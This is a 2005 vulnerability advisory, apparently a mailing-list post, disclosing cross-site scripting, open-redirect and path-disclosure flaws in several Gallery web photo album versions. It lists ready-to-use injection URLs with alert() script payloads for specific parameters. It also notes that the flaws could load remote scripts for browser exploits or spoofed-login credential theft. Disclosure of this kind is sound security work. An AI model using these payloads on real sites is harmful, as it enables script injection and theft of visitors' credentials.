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From: theinsider at 012.net.il (Rafel Ivgi, The-Insider) Subject: Gallery v1.3.4-pl1, v1.4.4-pl2, 2.0 Alpha Cross Site Scripting Vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: Gallery Vendors: http://gallery.sourceforge.net Versions: v1.3.4-pl1, v1.4.4-pl2, 2.0 Alpha Platforms: Windows Bug: Cross Site Scripting Vulnerability Exploitation: Remote With Browser Date: 17 Jan 2005 Author: Rafel Ivgi, The-Insider E-Mail: the_insider@...l.com Website: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== Gallery is open to Cross Site Scripting vulnerability, allowing a remote attacker to inject and execute scripts on the user?s machine while visiting a remote gallery. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== Gallery v1.3.4-pl1 contain a vulnerability inside ?add_comment.php? in the ?index? field. The injection can be done using the classical tag closing: "><script>alert()</script> For Example: http://<valid host>/gallery/add_comment.php?set_albumName=Eros&index=1"> <script>alert()</script> Gallery v1.3.4-pl1 also contains vulnerability inside ?slideshow_low.php? in ALL the fields. The ?slideshow_low.php? contains the following form fields: set_albumName slide_index slide_full slide_loop slide_pause slide_dir The injection can be done using the classical tag closing: "><script>alert()</script> For Example: http://<valid host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_ index=3&slide_full=0"><script>alert()</script>&slide_loop=0&slide_pause=3&sl ide_dir=1 Yet there is Gallery v1.3.4-pl1 vulnerability inside ?search.php? in the ?username? field. The injection can be done using hex encoded tag closing and an HTML event: %22%20onactivate%3D"alert%28%29" For Example: http://<valid host>/gallery/search.php?searchstring=%22%20onactivate%3D"alert%28%29" Gallery v1.4.4-pl2 contains vulnerability inside ?login.php? in the ?username? field. The injection can be done using hex encoded tag closing and an HTML event: %22%20onactivate%3D"alert%28%29" http://<valid host>/gallery/login.php?gallery_popup=true&username=/*%22*/%20 onactivate%3Dalert%28%29%3e This version of Gallery also has an open redirection, which is a security risk because an attacker can send someone a link with a redirection to his evil host name or to cause the user to commit an attack or waste a target?s resources. For Example: http://<valid host>/gallery/do_command.php?set_fullOnly=on&return=<escape encoded evil host name>&cmd= All the vulnerabilities described above can be used to remotely call a JavaScript file The injected JavaScript code is responsible for: Automatic launching of malicious code (remote compromise by I.E exploits). Identity theft using a spoofed re-login window (only for galleries with login) Gallery v2.0 Alpha contains vulnerability inside ?login.php? in the ?g2_form[subject]? field. The injection can be done using an inline javascript protocol call: javascript:alert() For Example: http://<valid host>/g2/main.php?g2_controller=comment:AddComment&g2 _form[formName]=AddComment&g2_itemId=<valid item>&g2_form[subject]=[img]javascript:alert ()[/img]&g2_form[action][preview]=preview Gallery v2.0 Alpha contains another vulnerability inside ?main.php? in the ?g2_subView? parameter. It is possible the replace any valid subView value such as: comment :ShowComments with the admin value: core:UserAdmin. This causes the gallery to wait 30 seconds and then print out the Full Path of the gallery on the server. For Example: http://<valid host>/g2/main.php?g2_return= http://<valid host>/main.php%3Fg2_view%3Dcore %3AShowItem%26g2_itemId%3D7150%26g2_GALLERYSID%3D< any valid/invalid session id such as: be869b98355e8d445c8ec8f97cb343da>&g2_view=core:UserAdmin&g2_subView=core :UserAdmin Then the following data will be printed out to the attacker: Fatal error: Maximum execution time of 30 seconds exceeded in /mnt/1/<name>/www/<host>/g2/ modules/core/UserAdmin.inc on line 55 Second Time Fatal error: Maximum execution time of 30 seconds exceeded in /mnt/1/<name>/www/<host>/g2/ modules/core/classes/GalleryUtilities.class on line 596 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== Gallery v1.3.4-pl1 http://<host>/gallery/add_comment.php?set_albumName=Eros&index=1"><script>al ert()</script> http://<host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3"><s cript>alert()</script>&slide_full=0&slide_loop=0&slide_pause=3&slide_dir=1 http://<host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&sli de_full=0"><script>alert()</script>&slide_loop=0&slide_pause=3&slide_dir=1 http://<host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&sli de_full=0&slide_loop=0"><script>alert()</script>&slide_pause=3&slide_dir=1 http://<host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&sli de_full=0&slide_loop=0&slide_pause=3"><script>alert()</script>&slide_dir=1 http://<host>/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&sli de_full=0&slide_loop=0&slide_pause=3&slide_dir=1"><script>alert()</script> http://<host>/gallery/search.php?searchstring=%22%20onclick%3D"alert%28%29" Gallery v1.4.4-pl2 http://<host>/gallery/login.php?gallery_popup=true&cool=rafi&username=/*%22* /%20onactivate%3Dalert%28%29%3e<plaintext> http://<host>/gallery/do_command.php?set_fullOnly=on&return=http%3A%2F%2Fwww .google.com&cmd= Gallery v2.0 Alpha 1) http://<valid host>/g2/main.php?g2_controller=comment:AddComment&g2 _form[formName]=AddComment&g2_itemId=<valid item>&g2_form[subject]=[img]javascript:alert()[/img]&g2_form[action][preview ]=preview 2) http://<host>/g2/main.php?g2_return=<host>%2Fg2%2Fmain.php%3Fg2_view%3Dcore% 3AShowItem%26g2_itemId%3D7150%26g2_GALLERYSID%3Dbe869b98355e8d445c8ec8f97cb3 43da%5C%5C0%5C%5C00%5C%5C%5C%5C0%5C%5C%5C%5C00%3B%250a%250d%250a%250drafi&am p;g2_view=core:UserAdmin&g2_subView=core:UserAdmin ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Scripts and Codes will make me D.O.S , but they will never HACK me."
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